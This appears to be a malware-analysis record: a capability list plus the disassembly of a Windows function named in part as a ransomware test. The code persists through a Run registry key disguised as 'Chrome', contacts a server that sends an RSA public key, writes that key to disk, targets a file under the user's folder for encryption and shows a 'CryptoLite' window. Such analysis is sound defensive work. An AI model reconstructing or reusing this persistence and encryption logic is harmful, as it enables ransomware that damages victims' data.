Function at 0x140001510
Capabilities:
Connect socket
Convert ip address from string
Download and write a file
Get mac address on windows
Get session user name
Initialize winsock library
Persist via run registry key
Receive and write data from server to client
Receive data
Receive data on socket
Send data
Send data on socket
Set registry value
Write file on windows

Disassembly:
push rbp
push rbx
push rdi
lea rbp, [rsp - 0x650]
sub rsp, 0x750
mov rax, qword [0x14000b040]
xor rax, rsp
mov qword [rbp + 0x620], rax
mov qword [rbp - 0x78], rcx
lea rdx, [rbp + 0x410]
xor ecx, ecx
mov dword [rsp + 0x60], r9d
mov r8d, 0x104
xor ebx, ebx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
lea rax, [rbp - 0x70]
mov edi, 2
mov r9d, edi
mov qword [rsp + 0x20], rax
xor r8d, r8d
lea rdx, str.SoftwareMicrosoftWindowsCurrentVersionRun
mov rcx, 0xffffffff80000001
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x1400015e1
lea rcx, [rbp + 0x410]
call qword [sym.imp.KERNEL32.dll_lstrlenW]
mov rcx, qword [rbp - 0x70]
lea r9d, [rbx + 1]
xor r8d, r8d
lea rdx, str.Chrome
lea eax, [rax*2 + 2]
mov dword [rsp + 0x28], eax
lea rax, [rbp + 0x410]
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
test eax, eax
lea rdx, str.Failed_to_add_program_to_startup_n
lea rcx, str.Program_added_to_startup_n
cmovne rcx, rdx
call fcn.140001090
mov rcx, qword [rbp - 0x70]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
jmp 0x1400015ed
lea rcx, str.Failed_to_open_registry_key_n
call fcn.140001090
mov ecx, 0x202
lea rdx, [rbp + 0xb0]
call qword [sym.imp.WS2_32.dll_WSAStartup]
test eax, eax
je 0x140001632
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
lea rdx, str.WSAStartup_failed_
call fcn.140002b80
mov rcx, rax
lea rdx, [0x140002d50]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov rax, 0xffffffffffffffff
jmp 0x140001e90
mov edx, 1
mov qword [rsp + 0x738], r14
mov ecx, edi
lea r8d, [rdx + 5]
call qword [sym.imp.WS2_32.dll_socket]
mov r14, rax
cmp rax, 0xffffffffffffffff
jne 0x140001686
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
lea rdx, str.Cant_create_a_socket__Quitting
call fcn.140002b80
mov rcx, rax
lea rdx, [0x140002d50]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
call qword [sym.imp.WS2_32.dll_WSACleanup]
lea eax, [r14 - 1]
jmp 0x140001e88
mov ecx, 0xd2f0
mov word [rbp + 0x68], di
call qword [sym.imp.WS2_32.dll_htons]
cmp qword [0x14000b830], 0xf
lea rdx, [0x14000b818]
lea r8, [rbp + 0x6c]
mov word [rbp + 0x6a], ax
cmova rdx, qword [0x14000b818]
mov ecx, edi
call qword [sym.imp.WS2_32.dll_inet_pton]
mov r8d, reloc.WS2_32.dll_recv
lea rdx, [rbp + 0x68]
mov rcx, r14
call qword [sym.imp.WS2_32.dll_connect]
cmp eax, 0xffffffff
jne 0x140001710
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
lea rdx, str.Cant_connect_to_server__Quitting
call fcn.140002b80
mov rcx, rax
lea rdx, [0x140002d50]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov rcx, r14
call qword [sym.imp.WS2_32.dll_closesocket]
call qword [sym.imp.WS2_32.dll_WSACleanup]
mov eax, 0xfffffffd
jmp 0x140001e88
xorps xmm0, xmm0
mov qword [rsp + 0x778], rsi
xorps xmm1, xmm1
mov dword [rbp - 0x10], ebx
xor r8d, r8d
lea rdx, [0x140008123]
lea rcx, [rbp + 0x20]
movups xmmword [rbp + 0x20], xmm0
movdqu xmmword [rbp + 0x30], xmm1
call fcn.140002d90
lea rdx, [rbp - 0x10]
xor ecx, ecx
call qword [sym.imp.IPHLPAPI.DLL_GetAdaptersInfo]
cmp eax, 0x6f
jne 0x1400017e2
mov ecx, dword [rbp - 0x10]
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov rsi, rax
test rax, rax
je 0x1400017e2
lea rdx, [rbp - 0x10]
mov rcx, rax
call qword [sym.imp.IPHLPAPI.DLL_GetAdaptersInfo]
test eax, eax
jne 0x1400017d9
cmp dword [rsi + 0x194], ebx
jbe 0x1400017d9
mov edi, ebx
nop
mov eax, edi
lea rdx, str._02X
lea rcx, [rbp - 8]
movzx r8d, byte [rax + rsi + 0x198]
call fcn.140004d80
lea rdx, [rbp - 8]
lea rcx, [rbp + 0x20]
call fcn.140002960
mov eax, dword [rsi + 0x194]
dec eax
cmp edi, eax
jae 0x1400017ca
mov r8d, 1
lea rdx, [0x14000812c]
lea rcx, [rbp + 0x20]
call fcn.140002b00
inc edi
cmp edi, dword [rsi + 0x194]
jb 0x140001780
mov edi, 2
mov rcx, rsi
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
cmp qword [rbp + 0x38], 0xf
lea rdx, [rbp + 0x20]
mov r8d, dword [rbp + 0x30]
mov rcx, r14
cmova rdx, qword [rbp + 0x20]
xor r9d, r9d
mov qword [rsp + 0x748], r12
mov qword [rsp + 0x740], r13
mov qword [rsp + 0x730], r15
call qword [sym.imp.WS2_32.dll_send]
xor r9d, r9d
lea rdx, str.start
mov rcx, r14
lea r8d, [r9 + 6]
call qword [sym.imp.WS2_32.dll_send]
xor r9d, r9d
lea rdx, [rbp + 0x2e0]
mov r8d, 0x126
mov rcx, r14
call qword [sym.imp.WS2_32.dll_recv]
test eax, eax
jg 0x140001888
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
lea rdx, str.Failed_to_receive_public_key_from_server__Quitting
call fcn.140002b80
mov rcx, rax
lea rdx, [0x140002d50]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov rcx, r14
call qword [sym.imp.WS2_32.dll_closesocket]
call qword [sym.imp.WS2_32.dll_WSACleanup]
mov ebx, 0xfffffffc
jmp 0x140001e28
mov qword [rsp + 0x30], rbx
lea rcx, str.public_key.der
mov dword [rsp + 0x28], 0x80
xor r9d, r9d
xor r8d, r8d
mov dword [rsp + 0x20], edi
mov edx, 0x40000000
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov rdi, rax
cmp rax, 0xffffffffffffffff
jne 0x1400018e2
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
lea rdx, str.Failed_to_create_file.
call fcn.140002b80
mov rcx, rax
lea rdx, [0x140002d50]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
jmp 0x140001e28
lea r9, [rbp + 0x60]
mov qword [rsp + 0x20], rbx
mov r8d, 0x126
lea rdx, [rbp + 0x2e0]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
jne 0x140001936
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
lea rdx, str.Failed_to_write_to_file.
call fcn.140002b80
mov rcx, rax
lea rdx, [0x140002d50]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x140001e28
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xorps xmm0, xmm0
lea rdx, str.C:Users
xorps xmm1, xmm1
lea rcx, [rbp + 0x40]
mov r8d, 8
movups xmmword [rbp + 0x40], xmm0
movdqu xmmword [rbp + 0x50], xmm1
call fcn.140002d90
lea rdx, [rbp - 0x10]
mov dword [rbp - 0x10], 0x81
lea rcx, [rbp + 0x250]
call qword [sym.imp.ADVAPI32.dll_GetUserNameA]
xorps xmm0, xmm0
mov qword [rbp + 0x10], rbx
movups xmmword [rbp], xmm0
mov qword [rbp + 0x18], rbx
lea rax, [rbp + 0x250]
mov r8, 0xffffffffffffffff
nop dword [rax]
inc r8
cmp byte [rax + r8], bl
jne 0x1400019a0
lea rdx, [rbp + 0x250]
lea rcx, [rbp]
call fcn.140002d90
mov r15, qword [rbp + 0x10]
movabs rcx, 0x7fffffffffffffff
mov rax, rcx
sub rax, r15
cmp rax, 1
jb 0x140001eaa
mov r13, qword [rbp + 0x18]
lea rax, [rbp]
mov r14, qword [rbp]
lea r12, [r15 + 1]
cmp r13, 0xf
lea rsi, [rsp + 0x68]
mov edi, recv
xorps xmm0, xmm0
cmova rax, r14
xorps xmm1, xmm1
mov qword [rbp - 0x10], rax
movups xmmword [rsp + 0x68], xmm0
lea edx, [rdi + 7]
movdqu xmmword [rsp + 0x78], xmm1
cmp r12, rdi
jbe 0x140001a94
mov rdi, r12
or rdi, 0xf
cmp rdi, rcx
jbe 0x140001a56
movabs rax, 0x8000000000000000
mov rdi, rcx
add rax, 0x27
mov rcx, rax
call fcn.140004e10
test rax, rax
je 0x140001b7e
lea rsi, [rax + 0x27]
and rsi, 0xffffffffffffffe0
mov qword [rsi - 8], rax
mov rax, qword [rbp - 0x10]
jmp 0x140001a8f
cmp rdi, rdx
cmovb rdi, rdx
lea rcx, [rdi + 1]
cmp rcx, 0x1000
jb 0x140001a79
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x140001eb0
jmp 0x140001a33
test rcx, rcx
je 0x140001a8c
call fcn.140004e10
mov rsi, rax
mov rax, qword [rbp - 0x10]
jmp 0x140001a8f
mov rsi, rbx
mov qword [rsp + 0x68], rsi
mov qword [rsp + 0x78], r12
lea rcx, [rsi + 1]
mov qword [rbp - 0x80], rdi
mov r8, r15
mov rdx, rax
mov byte [rsi], 0x5c
call sub.VCRUNTIME140.dll_memcpy
mov r8d, socket
mov byte [rsi + r12], bl
lea rdx, str._ransomeware_test_file
lea rcx, [rsp + 0x68]
call fcn.140002b00
lea rdx, [rbp]
movups xmm0, xmmword [rax]
movups xmm1, xmmword [rax + 0x10]
mov qword [rax + 0x10], rbx
movq rcx, xmm0
mov qword [rax + 0x18], recv
movups xmmword [rbp], xmm0
mov byte [rax], bl
movdqa xmm0, xmm1
movq r8, xmm1
psrldq xmm0, 8
movq rax, xmm0
cmp rax, 0xf
movups xmmword [rbp + 0x10], xmm1
cmova rdx, rcx
lea rcx, [rbp + 0x40]
call fcn.140002b00
mov rdx, qword [rbp + 0x18]
cmp rdx, 0xf
jbe 0x140001b4b
mov rcx, qword [rbp]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140001b46
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140001b7e
call fcn.14000508c
mov rdx, qword [rbp - 0x80]
cmp rdx, 0xf
jbe 0x140001b8a
mov rcx, qword [rsp + 0x68]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140001b85
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140001b85
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000508c
lea rdx, [0x140008130]
lea rcx, str.._public_key.der
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fopen]
mov rsi, rax
test rax, rax
jne 0x140001bca
lea ecx, [rax + 2]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll___acrt_iob_func]
mov rcx, rax
lea r8, str.public_key
lea rdx, str.Error_opening_file__s_n
call fcn.140001040
mov rdi, rbx
jmp 0x140001c2d
xor edx, edx
mov rcx, rsi
call qword [sym.imp.libcrypto_1_1_x64.dll_d2i_RSA_PUBKEY_fp]
mov rdi, rax
test rax, rax
jne 0x140001c01
lea ecx, [rax + 2]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll___acrt_iob_func]
mov rcx, rax
lea r8, str.public_key
lea rdx, str.Error_reading_RSA_key_from_file__s_n
call fcn.140001040
mov rdi, rbx
jmp 0x140001c2d
mov rcx, rsi
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, str.RSA_Public_Key_loaded_successfully.
call fcn.140002b80
mov rcx, rax
lea rdx, [0x140002d50]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rdx, [rbp + 0x40]
mov rcx, rdi
call fcn.140003dd0
mov rcx, rdi
call qword [sym.imp.libcrypto_1_1_x64.dll_RSA_free]
mov ecx, 4
mov qword [rbp - 0x50], rbx
mov dword [rbp - 0x60], 0x50
call qword [sym.imp.GDI32.dll_GetStockObject]
mov edx, 0x7f00
xor ecx, ecx
mov qword [rbp - 0x30], rax
call qword [sym.imp.USER32.dll_LoadCursorW]
mov rdi, qword [rbp - 0x78]
lea rsi, str.Window_Class
mov qword [rbp - 0x38], rax
lea rcx, [rbp - 0x60]
lea rax, [0x140001ec0]
mov qword [rbp - 0x40], rbx
mov qword [rbp - 0x58], rax
mov qword [rbp - 0x18], rbx
mov qword [rbp - 0x48], rdi
mov qword [rbp - 0x20], rsi
mov qword [rbp - 0x28], rbx
mov dword [rbp - 0x5c], 3
call qword [sym.imp.USER32.dll_RegisterClassExW]
test ax, ax
jne 0x140001ccf
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov r9d, reloc.WS2_32.dll_recv
lea r8, str.Window_Class_Failed
lea rdx, str.Window_class_creation_failed_r_n
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxW]
mov qword [rsp + 0x58], rbx
lea r8, str.CryptoLite
mov qword [rsp + 0x50], rdi
mov r9d, 0x90080080
mov qword [rsp + 0x48], rbx
mov rdx, rsi
mov qword [rsp + 0x40], rbx
xor ecx, ecx
mov dword [rsp + 0x38], 0x154
mov dword [rsp + 0x30], 0x230
mov dword [rsp + 0x28], 0xc8
mov dword [rsp + 0x20], 0xc8
call qword [sym.imp.USER32.dll_CreateWindowExW]
mov rdi, rax
test rax, rax
jne 0x140001d43
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea r9d, [rdi + 0x10]
xor ecx, ecx
lea r8, str.Window_Creation_Failed
lea rdx, str.Window_creation_failed_r_n
call qword [sym.imp.USER32.dll_MessageBoxW]
mov edx, dword [rsp + 0x60]
mov rcx, rdi
call qword [sym.imp.USER32.dll_ShowWindow]
xorps xmm0, xmm0
lea rcx, [rbp + 0x78]
xor r9d, r9d
xor r8d, r8d
xor edx, edx
movups xmmword [rbp + 0x78], xmm0
movups xmmword [rbp + 0x88], xmm0
movups xmmword [rbp + 0x98], xmm0
call qword [sym.imp.USER32.dll_GetMessageW]
test eax, eax
je 0x140001daa
nop dword [rax + rax]
lea rcx, [rbp + 0x78]
call qword [sym.imp.USER32.dll_TranslateMessage]
lea rcx, [rbp + 0x78]
call qword [sym.imp.USER32.dll_DispatchMessageW]
xor r9d, r9d
lea rcx, [rbp + 0x78]
xor r8d, r8d
xor edx, edx
call qword [sym.imp.USER32.dll_GetMessageW]
test eax, eax
jne 0x140001d80
cmp r13, 0xf
jbe 0x140001de1
lea rdx, [r13 + 1]
mov rax, r14
cmp rdx, 0x1000
jb 0x140001dd9
mov r14, qword [r14 - 8]
add rdx, 0x27
sub rax, r14
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140001e5a
mov rcx, r14
call fcn.14000508c
mov rdx, qword [rbp + 0x58]
cmp rdx, 0xf
jbe 0x140001e18
mov rcx, qword [rbp + 0x40]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140001e13
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140001e5a
call fcn.14000508c
movdqa xmm0, xmmword [0x1400081d0]
movdqu xmmword [rbp + 0x50], xmm0
mov byte [rbp + 0x40], bl
mov rdx, qword [rbp + 0x38]
cmp rdx, 0xf
jbe 0x140001e66
mov rcx, qword [rbp + 0x20]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140001e61
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140001e61
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000508c
mov r12, qword [rsp + 0x748]
mov eax, ebx
mov r13, qword [rsp + 0x740]
mov r15, qword [rsp + 0x730]
mov rsi, qword [rsp + 0x778]
mov r14, qword [rsp + 0x738]
mov rcx, qword [rbp + 0x620]
xor rcx, rsp
call fcn.140004df0
add rsp, 0x750
pop rdi
pop rbx
pop rbp
ret
call fcn.140001290
int3
call fcn.1400011f0
int3